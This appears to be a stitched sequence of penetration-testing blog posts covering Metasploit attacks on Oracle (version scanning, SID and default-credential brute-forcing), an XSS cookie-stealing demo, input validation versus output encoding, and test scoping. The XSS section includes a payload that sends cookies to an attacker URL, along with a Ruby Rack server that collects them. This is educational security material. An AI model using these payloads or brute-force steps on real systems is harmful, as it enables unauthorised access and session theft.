First things first, we'll need the relevant ruby modules (dbi and oci8) installed and working for some of this.

dbi can be installed using the usual 'sudo gem install dbi' but oci8 has some more prerequisites and steps to get working. The best thing to do is follow the instructions here . As a note you'll probably want to add the LD_LIBRARY_PATH to your bash profile to avoid setting it manually every time you want to use it (in Ubuntu this can be done system wide in /etc/bash.bashrc)

Once you've done that it should be possible to make basic connections to oracle from ruby ok...

So on to what Metasploit can do for you in a test with Oracle systems.. This walkthrough is heavily based on this video here from shmoocon this year.

One set of rough steps for converting "hmm there's an oracle system here" to "w00t I've got admin access to the server" might be

1. Discover the version of Oracle Running


2. Find out what the SID of the database is


3. Get valid credentials to the database


4. Escalate those credentials to DBA level access


5. Leverage Oracles functionality to get access to the underlying operating system


6. ...


7. Profit!!

Luckily Metasploit can help us with pretty much all of this....

1. Discover the version of Oracle running on the server This is very useful as it allows for targeting of exploits (no point in trying use an exploit for something that's been patched on the target).

From msfconsole

use auxiliary/scanner/oracle/tnslsnr_version 

set RHOSTS [your_target_ip_here]
run 

from this you should see something like

[*] Host 192.168.1.203 is running: Linux: Version 10.2.0.1.0 - Production

[*] Auxiliary module execution completed

which tells us we've got 10gR2 on Linux running.

2. Find out what the SID of the database is In order to connect to the database we're going to need to know what the SID is. Pre 10GR2 we could just use the metasploit sid_enum module (in auxiliary/scanner/oracle) to find this but after that we'll need to brute-force it. Not to worry there's a module for that too :)

As of 3.3-dev 6537 the sid_brute module doesn't appear to be included, but it can be downloaded from mc's page. For this module you'll also need a list of common SIDs for Oracle. One of those can be found on the Red Database Security site.

so once you've put the sid_brute module in the right place (I used modules/auxiliary/scanner/oracle) and your sid.txt file somewhere (I used the default from the module of data/exploits) you can do the following...

 use auxiliary/scanner/oracle/sid_brute

 set RHOST [your_target_ip_here]

and hopefully you'll get some output like

[*] Found SID 'ORCL' for host 192.168.1.203.

So we've now got the SID of the database, on to usernames and passwords.

3. Get valid credentials to the database Now Oracle databases are pretty notorious for having a wide range of default usernames and passwords installed on them. This isn't so true for modern releases but if your're running against older releases, it's well worth checking.

So to do this we'll need the brute_login metasploit module and a list of usernames and passwords. The module again can be found on mc's page and the canonical list of Oracle usernames and passwords is on Pete Finnigans site.

Also we'll need to get the oracle mixin at this point from here and copy that to lib/msf/core/exploit/ . Now at this point I was getting a module loading error but reading this and this led me to the idea of modifying the brute_login.rb file adding

require 'msf/core/exploit/oracle'

to the top of the file (just under the other requires) to get it all loaded up ok (also found out that a lot of this ground's been covered before but hey :) ! )

So with those saved in appropriate places (same as last time) we can see what's there

use auxiliary/scanner/oracle/brute_login 

 set RHOST [your_target_ip_here]
run

Now wtih any luck you'll get a file called oracle_success.log popping up in the data/exploits directory which will contain some entries like this

Found user/pass of: SCOTT/TIGER on 192.168.1.203...

which tells us the creds we need to make a valid connection and move on to the next stage.

So now we've got a valid account on the database, but it's not got that magic DBA level of privilege

Next time I'll follow-up on using metasploit to get down the OS

Getting it up and running is a little bit finicky at the moment, as you need to used a patched copy of ratproxy to collect the base URLs for the scanner (quick note is that my fairly new Ubuntu Intrepid install was missing libssl-dev which is a pre-requisite for compiling ratproxy so worth checking for if you get make errors when setting it up).

Once you've gathered URLs and fed them in to the database getting the scanner to start running is straightforward (examples in the links at the top so I won't go into it). From an initial look, some of the plugins seem to do some directory/file brute-forcing which can take ages to run, but if it's going on too long you can use CTRL-C to interrupt just that plug-in and Metasploit will catch the interrupt gracefully and move on to the next directory or plugin...

Pivoting

• Good write-up on some of the challenges with pivoting


• Greate Demo video of using pivoting to attack a host indirectly


• Another good video demo of pivoting, but without the cool tunes :)

Reading some of the examples, it occurred to me that Rack could be pretty handy for web application testing where sometimes it's useful to have a minimal web application to bounce things off.

One example of this is demo'ing XSS attacks. A standard XSS attack is cookie stealing. The way this works is the attacker inserts a script tag with a reference to a URL controlled by the attacker and inserts the cookie for the victim site into a parameter to the URL.

So for example if we've found an XSS vector we can put

<script>document.location="http://<attacker_ip/cookiegrabber?cookie="+document.cookie</script>

Here's where rack comes in. You can use rack to very quickly create some code to listen on a port and accept the incoming request (and indeed to anything else you can do with ruby, but hey lets start small).

A proof of concept script to do something like this might look like the one below...

#!/usr/bin/env ruby
require 'rubygems'
require 'rack'
builder = Rack::Builder.new do
  use Rack::CommonLogger
  @@grabbed = Array.new
  map '/' do
    run Proc.new {|env| [200, {"Content-Type" => "text/html"}, "<h1> Rack Pen Test Helper</h1>"]}
  end
  
  map '/cookiegrabber' do
    app = proc do |env|
      req = Rack::Request.new(env) 
      ip = req.ip.to_s
      cookie = req.params['cookie'] || "No Cookie Parameter passed"
      @@grabbed << [ip,cookie]
      [200, {"Content-Type" => "text/html"}, "grabbed " + cookie + " from " + ip + "<br /> Grabbed " + @@grabbed.length.to_s + " cookies so far"]
    end
    run app
  end
  
  map '/cookiegrabbed' do
    app = proc do |env|
      out = ""
      if @@grabbed.length > 0
        @@grabbed.each do |crumb|
          out << "Grabbed a cookie with value  " + crumb[1] + " from " + crumb[0] + "<br />"
        end
      else
        out = "Nothing Grabbed so far"
      end
      [200, {"Content-Type" => "text/html"}, out]
    end
    run app
  end
end
Rack::Handler::Mongrel.run builder, :Port => 9292

Essentially there are two approaches handling data in an web applications.

1. Carry out input validation as the data enters your application. This can either be white-list (only allow "known good" data types), or black-list (try to block "known-bad" data types)
2. Carry out output normalization on the data as it leaves your application. Here you look to understand the special or "meta" characters for the type of system or data format that you are outputting to and ensure that the data is encoded or rendered in such a way that it can't have a negative effect on that output system.

So which of these approaches is better? Well my view on that after my discussion is that they both have pros and cons, which need to be considered before making a choice.

Input Validation

Pros: The advantage of white list input validation is that, in a lot of cases, you can relatively easily cut down the number of attacks that will be effective against an application with minimal effort. For example if you're not taking in mark-up (eg, HTML) in any part of your application then stripping or blocking the < and > characters from your input will drastically reduce your exposure to Cross Site Scripting. This is the approach that .NET request validation takes.

Cons:The problem with input validation is, it can never take account of all possibilities. It's impossible to know when you take input into the application, how that data will be used and exactly where it will be processed in future, so there's always a risk that it will miss some class of character which turns out to be important to a given format

Output Normalization

Pros: So essentially the opposite applies. The advantage of output normalization is that it can take into consideration the exact nature of the system that the data is being passed to and can ensure that the data it's passing will not have a negative effect. This kind of approach can be seen in HTML encoding function like h() in Ruby on Rails.

Cons: Essentially for me the major downside here is a practical one. A security control that needs to be implemented many times to be effective is one that is likely to be forgotten and because under ordinary conditions the application is likely to behave perfectly even though the control isn't in place, a developer may well not notice the problem until it's too late. You can see this kind of effect in a lot of web applications. I've seen many cases where the obvious areas of the application (form fields) have been covered for things like Cross Site Scripting, but more obscure areas (drop-downs, cookies, HTTP headers) get missed out, either because the developer forgets, or because they don't realise that those areas of the application are susceptible to attack

So which of these approaches would I recommend..... Well I'm a security person, so I'll say Both for defence in depth!

Beyond that I'd say that Input validation is a great first step and will cut down the practical attacks greatly, but if you're looking for a "perfect" approach then you'll need to add output normalization to the mix...

So, following on from my first post in this series I thought I'd go on to talk about penetration test scoping.

Getting the scope right is one of the most important parts of a successful pen. test. If you get the wrong scope it won't matter how brilliantly the test is executed or how great the report looks, because you won't have fulfilled the customers requirements.

Unfortunately in a lot of cases the customer doesn't actually know what they want, they may have heard that they need "one of those security test things", they may have auditors telling them they have to have one, or if you're lucky they may have an idea of what they're looking to achieve.

The best pen. tests have specific goals in mind, which allow specific tests to be scoped. Most commonly a good scope will focus on the question "what's changed", along with a view of the level of security desirable for an application.

So a high risk new application on a new platform is likely to warrant a fairly heavy review (web application, possibly code review, likely config. security review of the operating system and other new components like firewalls or routers), whereas some new pages added to an existing application where it's purely static content, might not warrant a review at all (or a very quick sense check).

Ultimately there's going to be a trade-off between time spent and the level of assurance over security that's needed. A full code-review/manual build review/architecture review of a new application is likely to provide the best level of assurance, but at a pretty high cost. A "black box" vulnerability scan and web application test, will likely be quick and therefore cheaper, but will provide a lower level of assurance.

next time (hopefully sooner) I'll talk about some of the challenges in executing tests and touch on some of the gotchas that can cause problems

You'd think this would be relatively straightforward, but the term "penetration testing" is mis-used all over the place. Some people use it to refer to vulnerability assessment, some people use it to refer to Web Application Security Assessment, and a lot of business people use it to refer generically to any and all security assessment activity.

So what actually is it? Well for me, a penetration test is a scenario based assessment where the tester will actually try to exploit security vulnerabilities in a system or systems (depending on the scope) and then leverage those exploited vulnerabilities to gain further access to systems within the scope of the assessment which may be accessible after exploiting the initial vulnerability.

So that's what it is, why is it important to use the term correctly?

Well, different security assessment types have different characteristics and provide the owner of the system with different levels of assurance, so it's important to make sure everyone's talking about the same thing.

For example, vulnerability assessment is typically primarily tool based (eg, Nessus), focuses on networking/Operating System/maybe database level problems and doesn't usually exploit the vulnerabilities found. Pretty low risk to the systems under test (usually) but won't provide definite confirmation of problems and typically doesn't look at web applications, so it won't cover all the attack surface of a typical web application exposed over the Internet.

So if someone calls a vulnerability assessment a penetration test (and this is pretty common, in my experience) there's a good chance that someone's going to be disappointed in the results...

From the definition I used there's a couple of areas that can be very important to define correctly when conducting a test, so next time, I'm planning to go over some of the common problems and misconceptions in scoping penetration tests.